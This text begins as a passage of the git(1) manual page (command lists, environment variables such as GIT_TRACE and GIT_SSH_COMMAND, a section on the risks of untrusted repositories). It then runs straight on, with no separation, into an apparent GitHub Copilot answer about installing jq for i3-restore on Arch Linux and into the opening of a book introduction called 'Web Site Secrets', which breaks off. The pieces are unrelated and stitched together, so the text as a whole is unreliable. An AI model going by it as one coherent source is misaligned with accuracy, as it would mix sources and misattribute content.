git-cvsserver(1) A CVS server emulator for Git.

git-imap-send(1) Send a collection of patches from stdin to an IMAP folder.

git-p4(1) Import from and submit to Perforce repositories.

git-quiltimport(1) Applies a quilt patchset onto the current branch.

git-request-pull(1) Generates a summary of pending changes.

git-send-email(1) Send a collection of patches as emails.

git-svn(1) Bidirectional operation between a Subversion repository and Git.

Reset, restore and revert There are three commands with similar names: git reset, git restore and git revert.

• git-revert(1) is about making a new commit that reverts the changes made by other commits.

• git-restore(1) is about restoring files in the working tree from either the index or another commit. This command does not update your branch. The command can also be used to restore files in the index from another commit.

• git-reset(1) is about updating your branch, moving the tip in order to add or remove commits from the branch. This operation changes the commit history.

git reset can also be used to restore the index, overlapping with git
restore.

LOW-LEVEL COMMANDS (PLUMBING) Although Git includes its own porcelain layer, its low-level commands are sufficient to support development of alternative porcelains. Developers of such porcelains might start by reading about git-update-index(1) and git- read-tree(1).

The interface (input, output, set of options and the semantics) to these low-level commands are meant to be a lot more stable than Porcelain level commands, because these commands are primarily for scripted use. The interface to Porcelain commands on the other hand are subject to change in order to improve the end user experience.

The following description divides the low-level commands into commands that manipulate objects (in the repository, index, and working tree), commands that interrogate and compare objects, and commands that move objects and references between repositories.

Manipulation commands git-apply(1) Apply a patch to files and/or to the index.

git-checkout-index(1) Copy files from the index to the working tree.

git-commit-graph(1) Write and verify Git commit-graph files.

git-commit-tree(1) Create a new commit object.

git-hash-object(1) Compute object ID and optionally create an object from a file.

git-index-pack(1) Build pack index file for an existing packed archive.

git-merge-file(1) Run a three-way file merge.

git-merge-index(1) Run a merge for files needing merging.

git-mktag(1) Creates a tag object with extra validation.

git-mktree(1) Build a tree-object from ls-tree formatted text.

git-multi-pack-index(1) Write and verify multi-pack-indexes.

git-pack-objects(1) Create a packed archive of objects.

git-prune-packed(1) Remove extra objects that are already in pack files.

git-read-tree(1) Reads tree information into the index.

git-replay(1) EXPERIMENTAL: Replay commits on a new base, works with bare repos too.

git-symbolic-ref(1) Read, modify and delete symbolic refs.

git-unpack-objects(1) Unpack objects from a packed archive.

git-update-index(1) Register file contents in the working tree to the index.

git-update-ref(1) Update the object name stored in a ref safely.

git-write-tree(1) Create a tree object from the current index.

Interrogation commands git-cat-file(1) Provide contents or details of repository objects.

git-cherry(1) Find commits yet to be applied to upstream.

git-diff-files(1) Compares files in the working tree and the index.

git-diff-index(1) Compare a tree to the working tree or index.

git-diff-tree(1) Compares the content and mode of blobs found via two tree objects.

git-for-each-ref(1) Output information on each ref.

git-for-each-repo(1) Run a Git command on a list of repositories.

git-get-tar-commit-id(1) Extract commit ID from an archive created using git-archive.

git-ls-files(1) Show information about files in the index and the working tree.

git-ls-remote(1) List references in a remote repository.

git-ls-tree(1) List the contents of a tree object.

git-merge-base(1) Find as good common ancestors as possible for a merge.

git-name-rev(1) Find symbolic names for given revs.

git-pack-redundant(1) Find redundant pack files.

git-rev-list(1) Lists commit objects in reverse chronological order.

git-rev-parse(1) Pick out and massage parameters.

git-show-index(1) Show packed archive index.

git-show-ref(1) List references in a local repository.

git-unpack-file(1) Creates a temporary file with a blob’s contents.

git-var(1) Show a Git logical variable.

git-verify-pack(1) Validate packed Git archive files.

In general, the interrogate commands do not touch the files in the working tree.

Syncing repositories git-daemon(1) A really simple server for Git repositories.

git-fetch-pack(1) Receive missing objects from another repository.

git-http-backend(1) Server side implementation of Git over HTTP.

git-send-pack(1) Push objects over Git protocol to another repository.

git-update-server-info(1) Update auxiliary info file to help dumb servers.

The following are helper commands used by the above; end users typically do not use them directly.

git-http-fetch(1) Download from a remote Git repository via HTTP.

git-http-push(1) Push objects over HTTP/DAV to another repository.

git-receive-pack(1) Receive what is pushed into the repository.

git-shell(1) Restricted login shell for Git-only SSH access.

git-upload-archive(1) Send archive back to git-archive.

git-upload-pack(1) Send objects packed back to git-fetch-pack.

Internal helper commands These are internal helper commands used by other commands; end users typically do not use them directly.

git-check-attr(1) Display gitattributes information.

git-check-ignore(1) Debug gitignore / exclude files.

git-check-mailmap(1) Show canonical names and email addresses of contacts.

git-check-ref-format(1) Ensures that a reference name is well formed.

git-column(1) Display data in columns.

git-credential(1) Retrieve and store user credentials.

git-credential-cache(1) Helper to temporarily store passwords in memory.

git-credential-store(1) Helper to store credentials on disk.

git-fmt-merge-msg(1) Produce a merge commit message.

git-hook(1) Run git hooks.

git-interpret-trailers(1) Add or parse structured information in commit messages.

git-mailinfo(1) Extracts patch and authorship from a single e-mail message.

git-mailsplit(1) Simple UNIX mbox splitter program.

git-merge-one-file(1) The standard helper program to use with git-merge-index.

git-patch-id(1) Compute unique ID for a patch.

git-sh-i18n(1) Git’s i18n setup code for shell scripts.

git-sh-setup(1) Common Git shell script setup code.

git-stripspace(1) Remove unnecessary whitespace.

GUIDES The following documentation pages are guides about Git concepts.

gitcore-tutorial(7) A Git core tutorial for developers.

gitcredentials(7) Providing usernames and passwords to Git.

gitcvs-migration(7) Git for CVS users.

gitdiffcore(7) Tweaking diff output.

giteveryday(7) A useful minimum set of commands for Everyday Git.

gitfaq(7) Frequently asked questions about using Git.

gitglossary(7) A Git Glossary.

gitnamespaces(7) Git namespaces.

gitremote-helpers(7) Helper programs to interact with remote repositories.

gitsubmodules(7) Mounting one repository inside another.

gittutorial(7) A tutorial introduction to Git.

gittutorial-2(7) A tutorial introduction to Git: part two.

gitworkflows(7) An overview of recommended workflows with Git.

REPOSITORY, COMMAND AND FILE INTERFACES This documentation discusses repository and command interfaces which users are expected to interact with directly. See --user-formats in git-help(1) for more details on the criteria.

gitattributes(5) Defining attributes per path.

gitcli(7) Git command-line interface and conventions.

githooks(5) Hooks used by Git.

gitignore(5) Specifies intentionally untracked files to ignore.

gitmailmap(5) Map author/committer names and/or E-Mail addresses.

gitmodules(5) Defining submodule properties.

gitrepository-layout(5) Git Repository Layout.

gitrevisions(7) Specifying revisions and ranges for Git.

FILE FORMATS, PROTOCOLS AND OTHER DEVELOPER INTERFACES This documentation discusses file formats, over-the-wire protocols and other git developer interfaces. See --developer-interfaces in git-help(1).

gitformat-bundle(5) The bundle file format.

gitformat-chunk(5) Chunk-based file formats.

gitformat-commit-graph(5) Git commit-graph format.

gitformat-index(5) Git index format.

gitformat-pack(5) Git pack format.

gitformat-signature(5) Git cryptographic signature formats.

gitprotocol-capabilities(5) Protocol v0 and v1 capabilities.

gitprotocol-common(5) Things common to various protocols.

gitprotocol-http(5) Git HTTP-based protocols.

gitprotocol-pack(5) How packs are transferred over-the-wire.

gitprotocol-v2(5) Git Wire Protocol, Version 2.

CONFIGURATION MECHANISM Git uses a simple text format to store customizations that are per repository and are per user. Such a configuration file may look like this:

#
# A '#' or ';' character indicates a comment.
#

; core variables
[core]
 ; Don't trust file modes
 filemode = false

; user identity
[user]
 name = "Junio C Hamano"
 email = "gitster@pobox.com"

Various commands read from the configuration file and adjust their operation accordingly. See git-config(1) for a list and more details about the configuration mechanism.

IDENTIFIER TERMINOLOGY Indicates the object name for any type of object.

Indicates a blob object name. Indicates a tree object name. Indicates a commit object name. Indicates a tree, commit or tag object name. A command that takes a argument ultimately wants to operate on a object but automatically dereferences and objects that point at a . Indicates a commit or tag object name. A command that takes a argument ultimately wants to operate on a object but automatically dereferences objects that point at a . Indicates that an object type is required. Currently one of: blob, tree, commit, or tag. Indicates a filename - almost always relative to the root of the tree structure GIT_INDEX_FILE describes.

SYMBOLIC IDENTIFIERS Any Git command accepting any can also use the following symbolic notation:

HEAD indicates the head of the current branch.

a valid tag name (i.e. a refs/tags/ reference). a valid head name (i.e. a refs/heads/ reference).

For a more complete list of ways to spell object names, see "SPECIFYING REVISIONS" section in gitrevisions(7).

FILE/DIRECTORY STRUCTURE Please see the gitrepository-layout(5) document.

Read githooks(5) for more details about each hook.

Higher level SCMs may provide and manage additional information in the $GIT_DIR.

TERMINOLOGY Please see gitglossary(7).

ENVIRONMENT VARIABLES Various Git commands pay attention to environment variables and change their behavior. The environment variables marked as "Boolean" take their values the same way as Boolean valued configuration variables, e.g. "true", "yes", "on" and positive numbers are taken as "yes".

Here are the variables:

System HOME Specifies the path to the user’s home directory. On Windows, if unset, Git will set a process environment variable equal to: $HOMEDRIVE$HOMEPATH if both $HOMEDRIVE and $HOMEPATH exist; otherwise $USERPROFILE if $USERPROFILE exists.

The Git Repository These environment variables apply to all core Git commands. Nb: it is worth noting that they may be used/overridden by SCMS sitting above Git so take care if using a foreign front-end.

GIT_INDEX_FILE This environment variable specifies an alternate index file. If not specified, the default of $GIT_DIR/index is used.

GIT_INDEX_VERSION This environment variable specifies what index version is used when writing the index file out. It won’t affect existing index files. By default index file version 2 or 3 is used. See git-update-index(1) for more information.

GIT_OBJECT_DIRECTORY If the object storage directory is specified via this environment variable then the sha1 directories are created underneath - otherwise the default $GIT_DIR/objects directory is used.

GIT_ALTERNATE_OBJECT_DIRECTORIES Due to the immutable nature of Git objects, old objects can be archived into shared, read-only directories. This variable specifies a ":" separated (on Windows ";" separated) list of Git object directories which can be used to search for Git objects. New objects will not be written to these directories.

Entries that begin with " (double-quote) will be interpreted as
C-style quoted paths, removing leading and trailing double-quotes and
respecting backslash escapes. E.g., the value
"path-with-\"-and-:-in-it":vanilla-path has two paths:
path-with-"-and-:-in-it and vanilla-path.

GIT_DIR If the GIT_DIR environment variable is set then it specifies a path to use instead of the default .git for the base of the repository. The --git-dir command-line option also sets this value.

GIT_WORK_TREE Set the path to the root of the working tree. This can also be controlled by the --work-tree command-line option and the core.worktree configuration variable.

GIT_NAMESPACE Set the Git namespace; see gitnamespaces(7) for details. The --namespace command-line option also sets this value.

GIT_CEILING_DIRECTORIES This should be a colon-separated list of absolute paths. If set, it is a list of directories that Git should not chdir up into while looking for a repository directory (useful for excluding slow-loading network directories). It will not exclude the current working directory or a GIT_DIR set on the command line or in the environment. Normally, Git has to read the entries in this list and resolve any symlink that might be present in order to compare them with the current directory. However, if even this access is slow, you can add an empty entry to the list to tell Git that the subsequent entries are not symlinks and needn’t be resolved; e.g., GIT_CEILING_DIRECTORIES=/maybe/symlink::/very/slow/non/symlink.

GIT_DISCOVERY_ACROSS_FILESYSTEM When run in a directory that does not have ".git" repository directory, Git tries to find such a directory in the parent directories to find the top of the working tree, but by default it does not cross filesystem boundaries. This Boolean environment variable can be set to true to tell Git not to stop at filesystem boundaries. Like GIT_CEILING_DIRECTORIES, this will not affect an explicit repository directory set via GIT_DIR or on the command line.

GIT_COMMON_DIR If this variable is set to a path, non-worktree files that are normally in $GIT_DIR will be taken from this path instead. Worktree-specific files such as HEAD or index are taken from $GIT_DIR. See gitrepository-layout(5) and git-worktree(1) for details. This variable has lower precedence than other path variables such as GIT_INDEX_FILE, GIT_OBJECT_DIRECTORY...

GIT_DEFAULT_HASH If this variable is set, the default hash algorithm for new repositories will be set to this value. This value is ignored when cloning and the setting of the remote repository is always used. The default is "sha1". See --object-format in git-init(1).

GIT_DEFAULT_REF_FORMAT If this variable is set, the default reference backend format for new repositories will be set to this value. The default is "files". See --ref-format in git-init(1).

Git Commits GIT_AUTHOR_NAME The human-readable name used in the author identity when creating commit or tag objects, or when writing reflogs. Overrides the user.name and author.name configuration settings.

GIT_AUTHOR_EMAIL The email address used in the author identity when creating commit or tag objects, or when writing reflogs. Overrides the user.email and author.email configuration settings.

GIT_AUTHOR_DATE The date used for the author identity when creating commit or tag objects, or when writing reflogs. See git-commit(1) for valid formats.

GIT_COMMITTER_NAME The human-readable name used in the committer identity when creating commit or tag objects, or when writing reflogs. Overrides the user.name and committer.name configuration settings.

GIT_COMMITTER_EMAIL The email address used in the author identity when creating commit or tag objects, or when writing reflogs. Overrides the user.email and committer.email configuration settings.

GIT_COMMITTER_DATE The date used for the committer identity when creating commit or tag objects, or when writing reflogs. See git-commit(1) for valid formats.

EMAIL The email address used in the author and committer identities if no other relevant environment variable or configuration setting has been set.

Git Diffs GIT_DIFF_OPTS Only valid setting is "--unified=??" or "-u??" to set the number of context lines shown when a unified diff is created. This takes precedence over any "-U" or "--unified" option value passed on the Git diff command line.

GIT_EXTERNAL_DIFF When the environment variable GIT_EXTERNAL_DIFF is set, the program named by it is called to generate diffs, and Git does not use its builtin diff machinery. For a path that is added, removed, or modified, GIT_EXTERNAL_DIFF is called with 7 parameters:

path old-file old-hex old-mode new-file new-hex new-mode

where:

<old|new>-file are files GIT_EXTERNAL_DIFF can use to read the contents of <old|new>,

<old|new>-hex are the 40-hexdigit SHA-1 hashes,

<old|new>-mode are the octal representation of the file modes.

The file parameters can point at the user’s working file (e.g.
new-file in "git-diff-files"), /dev/null (e.g.  old-file when a new
file is added), or a temporary file (e.g.  old-file in the index).
GIT_EXTERNAL_DIFF should not worry about unlinking the temporary file
— it is removed when GIT_EXTERNAL_DIFF exits.

For a path that is unmerged, GIT_EXTERNAL_DIFF is called with 1
parameter, <path>.

For each path GIT_EXTERNAL_DIFF is called, two environment variables,
GIT_DIFF_PATH_COUNTER and GIT_DIFF_PATH_TOTAL are set.

GIT_EXTERNAL_DIFF_TRUST_EXIT_CODE If this Boolean environment variable is set to true then the GIT_EXTERNAL_DIFF command is expected to return exit code 0 if it considers the input files to be equal or 1 if it considers them to be different, like diff(1). If it is set to false, which is the default, then the command is expected to return exit code 0 regardless of equality. Any other exit code causes Git to report a fatal error.

GIT_DIFF_PATH_COUNTER A 1-based counter incremented by one for every path.

GIT_DIFF_PATH_TOTAL The total number of paths.

other GIT_MERGE_VERBOSITY A number controlling the amount of output shown by the recursive merge strategy. Overrides merge.verbosity. See git-merge(1)

GIT_PAGER This environment variable overrides $PAGER. If it is set to an empty string or to the value "cat", Git will not launch a pager. See also the core.pager option in git-config(1).

GIT_PROGRESS_DELAY A number controlling how many seconds to delay before showing optional progress indicators. Defaults to 2.

GIT_EDITOR This environment variable overrides $EDITOR and $VISUAL. It is used by several Git commands when, on interactive mode, an editor is to be launched. See also git-var(1) and the core.editor option in git- config(1).

GIT_SEQUENCE_EDITOR This environment variable overrides the configured Git editor when editing the todo list of an interactive rebase. See also git-rebase(1) and the sequence.editor option in git-config(1).

GIT_SSH, GIT_SSH_COMMAND If either of these environment variables is set then git fetch and git push will use the specified command instead of ssh when they need to connect to a remote system. The command-line parameters passed to the configured command are determined by the ssh variant. See ssh.variant option in git-config(1) for details.

$GIT_SSH_COMMAND takes precedence over $GIT_SSH, and is interpreted by
the shell, which allows additional arguments to be included.  $GIT_SSH
on the other hand must be just the path to a program (which can be a
wrapper shell script, if additional arguments are needed).

Usually it is easier to configure any desired options through your
personal .ssh/config file. Please consult your ssh documentation for
further details.

GIT_SSH_VARIANT If this environment variable is set, it overrides Git’s autodetection whether GIT_SSH/GIT_SSH_COMMAND/core.sshCommand refer to OpenSSH, plink or tortoiseplink. This variable overrides the config setting ssh.variant that serves the same purpose.

GIT_SSL_NO_VERIFY Setting and exporting this environment variable to any value tells Git not to verify the SSL certificate when fetching or pushing over HTTPS.

GIT_ATTR_SOURCE Sets the treeish that gitattributes will be read from.

GIT_ASKPASS If this environment variable is set, then Git commands which need to acquire passwords or passphrases (e.g. for HTTP or IMAP authentication) will call this program with a suitable prompt as command-line argument and read the password from its STDOUT. See also the core.askPass option in git-config(1).

GIT_TERMINAL_PROMPT If this Boolean environment variable is set to false, git will not prompt on the terminal (e.g., when asking for HTTP authentication).

GIT_CONFIG_GLOBAL, GIT_CONFIG_SYSTEM Take the configuration from the given files instead from global or system-level configuration files. If GIT_CONFIG_SYSTEM is set, the system config file defined at build time (usually /etc/gitconfig) will not be read. Likewise, if GIT_CONFIG_GLOBAL is set, neither $HOME/.gitconfig nor $XDG_CONFIG_HOME/git/config will be read. Can be set to /dev/null to skip reading configuration files of the respective level.

GIT_CONFIG_NOSYSTEM Whether to skip reading settings from the system-wide $(prefix)/etc/gitconfig file. This Boolean environment variable can be used along with $HOME and $XDG_CONFIG_HOME to create a predictable environment for a picky script, or you can set it to true to temporarily avoid using a buggy /etc/gitconfig file while waiting for someone with sufficient permissions to fix it.

GIT_FLUSH If this Boolean environment variable is set to true, then commands such as git blame (in incremental mode), git rev-list, git log, git check-attr and git check-ignore will force a flush of the output stream after each record have been flushed. If this variable is set to false, the output of these commands will be done using completely buffered I/O. If this environment variable is not set, Git will choose buffered or record-oriented flushing based on whether stdout appears to be redirected to a file or not.

GIT_TRACE Enables general trace messages, e.g. alias expansion, built-in command execution and external command execution.

If this variable is set to "1", "2" or "true" (comparison is case
insensitive), trace messages will be printed to stderr.

If the variable is set to an integer value greater than 2 and lower
than 10 (strictly) then Git will interpret this value as an open file
descriptor and will try to write the trace messages into this file
descriptor.

Alternatively, if the variable is set to an absolute path (starting
with a / character), Git will interpret this as a file path and will
try to append the trace messages to it.

Unsetting the variable, or setting it to empty, "0" or "false" (case
insensitive) disables trace messages.

GIT_TRACE_FSMONITOR Enables trace messages for the filesystem monitor extension. See GIT_TRACE for available trace output options.

GIT_TRACE_PACK_ACCESS Enables trace messages for all accesses to any packs. For each access, the pack file name and an offset in the pack is recorded. This may be helpful for troubleshooting some pack-related performance problems. See GIT_TRACE for available trace output options.

GIT_TRACE_PACKET Enables trace messages for all packets coming in or out of a given program. This can help with debugging object negotiation or other protocol issues. Tracing is turned off at a packet starting with "PACK" (but see GIT_TRACE_PACKFILE below). See GIT_TRACE for available trace output options.

GIT_TRACE_PACKFILE Enables tracing of packfiles sent or received by a given program. Unlike other trace output, this trace is verbatim: no headers, and no quoting of binary data. You almost certainly want to direct into a file (e.g., GIT_TRACE_PACKFILE=/tmp/my.pack) rather than displaying it on the terminal or mixing it with other trace output.

Note that this is currently only implemented for the client side of
clones and fetches.

GIT_TRACE_PERFORMANCE Enables performance related trace messages, e.g. total execution time of each Git command. See GIT_TRACE for available trace output options.

GIT_TRACE_REFS Enables trace messages for operations on the ref database. See GIT_TRACE for available trace output options.

GIT_TRACE_SETUP Enables trace messages printing the .git, working tree and current working directory after Git has completed its setup phase. See GIT_TRACE for available trace output options.

GIT_TRACE_SHALLOW Enables trace messages that can help debugging fetching / cloning of shallow repositories. See GIT_TRACE for available trace output options.

GIT_TRACE_CURL Enables a curl full trace dump of all incoming and outgoing data, including descriptive information, of the git transport protocol. This is similar to doing curl --trace-ascii on the command line. See GIT_TRACE for available trace output options.

GIT_TRACE_CURL_NO_DATA When a curl trace is enabled (see GIT_TRACE_CURL above), do not dump data (that is, only dump info lines and headers).

GIT_TRACE2 Enables more detailed trace messages from the "trace2" library. Output from GIT_TRACE2 is a simple text-based format for human readability.

If this variable is set to "1", "2" or "true" (comparison is case
insensitive), trace messages will be printed to stderr.

If the variable is set to an integer value greater than 2 and lower
than 10 (strictly) then Git will interpret this value as an open file
descriptor and will try to write the trace messages into this file
descriptor.

Alternatively, if the variable is set to an absolute path (starting
with a / character), Git will interpret this as a file path and will
try to append the trace messages to it. If the path already exists and
is a directory, the trace messages will be written to files (one per
process) in that directory, named according to the last component of
the SID and an optional counter (to avoid filename collisions).

In addition, if the variable is set to
af_unix:[<socket-type>:]<absolute-pathname>, Git will try to open the
path as a Unix Domain Socket. The socket type can be either stream or
dgram.

Unsetting the variable, or setting it to empty, "0" or "false" (case
insensitive) disables trace messages.

See Trace2 documentation[2] for full details.

GIT_TRACE2_EVENT This setting writes a JSON-based format that is suited for machine interpretation. See GIT_TRACE2 for available trace output options and Trace2 documentation[2] for full details.

GIT_TRACE2_PERF In addition to the text-based messages available in GIT_TRACE2, this setting writes a column-based format for understanding nesting regions. See GIT_TRACE2 for available trace output options and Trace2 documentation[2] for full details.

GIT_TRACE_REDACT By default, when tracing is activated, Git redacts the values of cookies, the "Authorization:" header, the "Proxy-Authorization:" header and packfile URIs. Set this Boolean environment variable to false to prevent this redaction.

GIT_NO_REPLACE_OBJECTS Setting and exporting this environment variable tells Git to ignore replacement refs and do not replace Git objects.

GIT_LITERAL_PATHSPECS Setting this Boolean environment variable to true will cause Git to treat all pathspecs literally, rather than as glob patterns. For example, running GIT_LITERAL_PATHSPECS=1 git log -- '*.c' will search for commits that touch the path *.c, not any paths that the glob *.c matches. You might want this if you are feeding literal paths to Git (e.g., paths previously given to you by git ls-tree, --raw diff output, etc).

GIT_GLOB_PATHSPECS Setting this Boolean environment variable to true will cause Git to treat all pathspecs as glob patterns (aka "glob" magic).

GIT_NOGLOB_PATHSPECS Setting this Boolean environment variable to true will cause Git to treat all pathspecs as literal (aka "literal" magic).

GIT_ICASE_PATHSPECS Setting this Boolean environment variable to true will cause Git to treat all pathspecs as case-insensitive.

GIT_NO_LAZY_FETCH Setting this Boolean environment variable to true tells Git not to lazily fetch missing objects from the promisor remote on demand.

GIT_REFLOG_ACTION When a ref is updated, reflog entries are created to keep track of the reason why the ref was updated (which is typically the name of the high-level command that updated the ref), in addition to the old and new values of the ref. A scripted Porcelain command can use set_reflog_action helper function in git-sh-setup to set its name to this variable when it is invoked as the top level command by the end user, to be recorded in the body of the reflog.

GIT_REF_PARANOIA If this Boolean environment variable is set to false, ignore broken or badly named refs when iterating over lists of refs. Normally Git will try to include any such refs, which may cause some operations to fail. This is usually preferable, as potentially destructive operations (e.g., git-prune(1)) are better off aborting rather than ignoring broken refs (and thus considering the history they point to as not worth saving). The default value is 1 (i.e., be paranoid about detecting and aborting all operations). You should not normally need to set this to 0, but it may be useful when trying to salvage data from a corrupted repository.

GIT_COMMIT_GRAPH_PARANOIA When loading a commit object from the commit-graph, Git performs an existence check on the object in the object database. This is done to avoid issues with stale commit-graphs that contain references to already-deleted commits, but comes with a performance penalty.

The default is "false", which disables the aforementioned behavior.
Setting this to "true" enables the existence check so that stale
commits will never be returned from the commit-graph at the cost of
performance.

GIT_ALLOW_PROTOCOL If set to a colon-separated list of protocols, behave as if protocol.allow is set to never, and each of the listed protocols has protocol..allow set to always (overriding any existing configuration). See the description of protocol.allow in git-config(1) for more details.

GIT_PROTOCOL_FROM_USER Set this Boolean environment variable to false to prevent protocols used by fetch/push/clone which are configured to the user state. This is useful to restrict recursive submodule initialization from an untrusted repository or for programs which feed potentially-untrusted URLS to git commands. See git-config(1) for more details.

GIT_PROTOCOL For internal use only. Used in handshaking the wire protocol. Contains a colon : separated list of keys with optional values [=]. Presence of unknown keys and values must be ignored.

Note that servers may need to be configured to allow this variable to
pass over some transports. It will be propagated automatically when
accessing local repositories (i.e., file:// or a filesystem path), as
well as over the git:// protocol. For git-over-http, it should work
automatically in most configurations, but see the discussion in git-
http-backend(1). For git-over-ssh, the ssh server may need to be
configured to allow clients to pass this variable (e.g., by using
AcceptEnv GIT_PROTOCOL with OpenSSH).

This configuration is optional. If the variable is not propagated,
then clients will fall back to the original "v0" protocol (but may
miss out on some performance improvements or features). This variable
currently only affects clones and fetches; it is not yet used for
pushes (but may be in the future).

GIT_OPTIONAL_LOCKS If this Boolean environment variable is set to false, Git will complete any requested operation without performing any optional sub-operations that require taking a lock. For example, this will prevent git status from refreshing the index as a side effect. This is useful for processes running in the background which do not want to cause lock contention with other operations on the repository. Defaults to 1.

GIT_REDIRECT_STDIN, GIT_REDIRECT_STDOUT, GIT_REDIRECT_STDERR Windows-only: allow redirecting the standard input/output/error handles to paths specified by the environment variables. This is particularly useful in multi-threaded applications where the canonical way to pass standard handles via CreateProcess() is not an option because it would require the handles to be marked inheritable (and consequently every spawned process would inherit them, possibly blocking regular Git operations). The primary intended use case is to use named pipes for communication (e.g. \.\pipe\my-git-stdin-123).

Two special values are supported: off will simply close the
corresponding standard handle, and if GIT_REDIRECT_STDERR is 2>&1,
standard error will be redirected to the same handle as standard
output.

GIT_PRINT_SHA1_ELLIPSIS (deprecated) If set to yes, print an ellipsis following an (abbreviated) SHA-1 value. This affects indications of detached HEADs (git-checkout(1)) and the raw diff output (git-diff(1)). Printing an ellipsis in the cases mentioned is no longer considered adequate and support for it is likely to be removed in the foreseeable future (along with the variable).

GIT_ADVICE If set to 0, then disable all advice messages. These messages are intended to provide hints to human users that may help them get out of problematic situations or take advantage of new features. Users can disable individual messages using the advice.* config keys. These messages may be disruptive to tools that execute Git processes, so this variable is available to disable the messages. (The --no-advice global option is also available, but old Git versions may fail when this option is not understood. The environment variable will be ignored by Git versions that do not understand it.)

DISCUSSION More detail on the following is available from the Git concepts chapter of the user-manual[3] and gitcore-tutorial(7).

A Git project normally consists of a working directory with a ".git" subdirectory at the top level. The .git directory contains, among other things, a compressed object database representing the complete history of the project, an "index" file which links that history to the current contents of the working tree, and named pointers into that history such as tags and branch heads.

The object database contains objects of three main types: blobs, which hold file data; trees, which point to blobs and other trees to build up directory hierarchies; and commits, which each reference a single tree and some number of parent commits.

The commit, equivalent to what other systems call a "changeset" or "version", represents a step in the project’s history, and each parent represents an immediately preceding step. Commits with more than one parent represent merges of independent lines of development.

All objects are named by the SHA-1 hash of their contents, normally written as a string of 40 hex digits. Such names are globally unique. The entire history leading up to a commit can be vouched for by signing just that commit. A fourth object type, the tag, is provided for this purpose.

When first created, objects are stored in individual files, but for efficiency may later be compressed together into "pack files".

Named pointers called refs mark interesting points in history. A ref may contain the SHA-1 name of an object or the name of another ref (the latter is called a "symbolic ref"). Refs with names beginning refs/head/ contain the SHA-1 name of the most recent commit (or "head") of a branch under development. SHA-1 names of tags of interest are stored under refs/tags/. A symbolic ref named HEAD contains the name of the currently checked-out branch.

The index file is initialized with a list of all paths and, for each path, a blob object and a set of attributes. The blob object represents the contents of the file as of the head of the current branch. The attributes (last modified time, size, etc.) are taken from the corresponding file in the working tree. Subsequent changes to the working tree can be found by comparing these attributes. The index may be updated with new content, and new commits may be created from the content stored in the index.

The index is also capable of storing multiple entries (called "stages") for a given pathname. These stages are used to hold the various unmerged version of a file when a merge is in progress.

SECURITY Some configuration options and hook files may cause Git to run arbitrary shell commands. Because configuration and hooks are not copied using git clone, it is generally safe to clone remote repositories with untrusted content, inspect them with git log, and so on.

However, it is not safe to run Git commands in a .git directory (or the working tree that surrounds it) when that .git directory itself comes from an untrusted source. The commands in its config and hooks are executed in the usual way.

By default, Git will refuse to run when the repository is owned by someone other than the user running the command. See the entry for safe.directory in git-config(1). While this can help protect you in a multi-user environment, note that you can also acquire untrusted repositories that are owned by you (for example, if you extract a zip file or tarball from an untrusted source). In such cases, you’d need to "sanitize" the untrusted repository first.

If you have an untrusted .git directory, you should first clone it with git clone --no-local to obtain a clean copy. Git does restrict the set of options and hooks that will be run by upload-pack, which handles the server side of a clone or fetch, but beware that the surface area for attack against upload-pack is large, so this does carry some risk. The safest thing is to serve the repository as an unprivileged user (either via git-daemon(1), ssh, or using other tools to change user ids). See the discussion in the SECURITY section of git-upload-pack(1).

FURTHER DOCUMENTATION See the references in the "description" section to get started using Git. The following is probably more detail than necessary for a first-time user.

The Git concepts chapter of the user-manual[3] and gitcore-tutorial(7) both provide introductions to the underlying Git architecture.

See gitworkflows(7) for an overview of recommended workflows.

See also the howto[4] documents for some useful examples.

The internals are documented in the Git API documentation[5].

Users migrating from CVS may also want to read gitcvs-migration(7).

AUTHORS Git was started by Linus Torvalds, and is currently maintained by Junio C Hamano. Numerous contributions have come from the Git mailing list <git@vger.kernel.org[6]>. https://openhub.net/p/git/contributors/summary gives you a more complete list of contributors.

If you have a clone of git.git itself, the output of git-shortlog(1) and git-blame(1) can show you the authors for specific parts of the project.

REPORTING BUGS Report bugs to the Git mailing list <git@vger.kernel.org[6]> where the development and maintenance is primarily done. You do not have to be subscribed to the list to send a message there. See the list archive at https://lore.kernel.org/git for previous bug reports and other discussions.

Issues which are security relevant should be disclosed privately to the Git Security mailing list <git-security@googlegroups.com[7]>.

SEE ALSO gittutorial(7), gittutorial-2(7), giteveryday(7), gitcvs-migration(7), gitglossary(7), gitcore-tutorial(7), gitcli(7), The Git User’s Manual[1], gitworkflows(7)

GIT Part of the git(1) suite

NOTES

  1. Git User’s Manual file:///usr/share/doc/git-doc/user-manual.html

  2. Trace2 documentation file:///usr/share/doc/git-doc/technical/api-trace2.html

  3. Git concepts chapter of the user-manual file:///usr/share/doc/git-doc/user-manual.html#git-concepts

  4. howto file:///usr/share/doc/git-doc/howto-index.html

  5. Git API documentation file:///usr/share/doc/git-doc/technical/api-index.html

  6. git@vger.kernel.org mailto:git@vger.kernel.org

  7. git-security@googlegroups.com mailto:git-security@googlegroups.com

Git 2.48.1 01/14/2025 GIT(1)

GitHub Copilot

jq is Required for i3-restore – What It Means & How to Fix It The error message you’re seeing means that jq (a lightweight JSON processor) is missing, and i3-restore depends on it. This often happens when restoring i3 session layouts because i3 stores workspace layouts in JSON format, and jq is needed to parse and process them.

🛠️ Fix: Install jq on Arch Linux Since you’re using Arch Linux, install jq with:

sudo pacman -S jq

If you use yay for AUR packages, you can also run:

yay -S jq After installing jq, try running i3-restore again.

🔍 What is jq, and Why Does i3 Need It? jq is a JSON parser and processor for handling JSON data in shell scripts. i3 uses JSON to store layouts, window positions, and session states. i3-restore relies on jq to extract and apply window layouts when restoring a session. 📂 Bonus: Manually Restore an i3 Session If you want to manually save and restore your i3 layout, use:

1️⃣ Save Your Layout i3-save-tree --workspace 1 > ~/.config/i3/workspace1.json 2️⃣ Edit the Layout (Optional) Open the file in a text editor and remove unnecessary details:

nano ~/.config/i3/workspace1.json 3️⃣ Restore the Layout i3-msg "workspace 1; append_layout ~/.config/i3/workspace1.json"

Web Site Secrets

Introduction

Here’s something cool I bet you didn’t know . . . That, in a nutshell, is what drove the creation of this book—cool stuff you probably didn’t know about your favorite Web sites. Secrets, for want of a better word. Five hundred and one of them.

About This Book

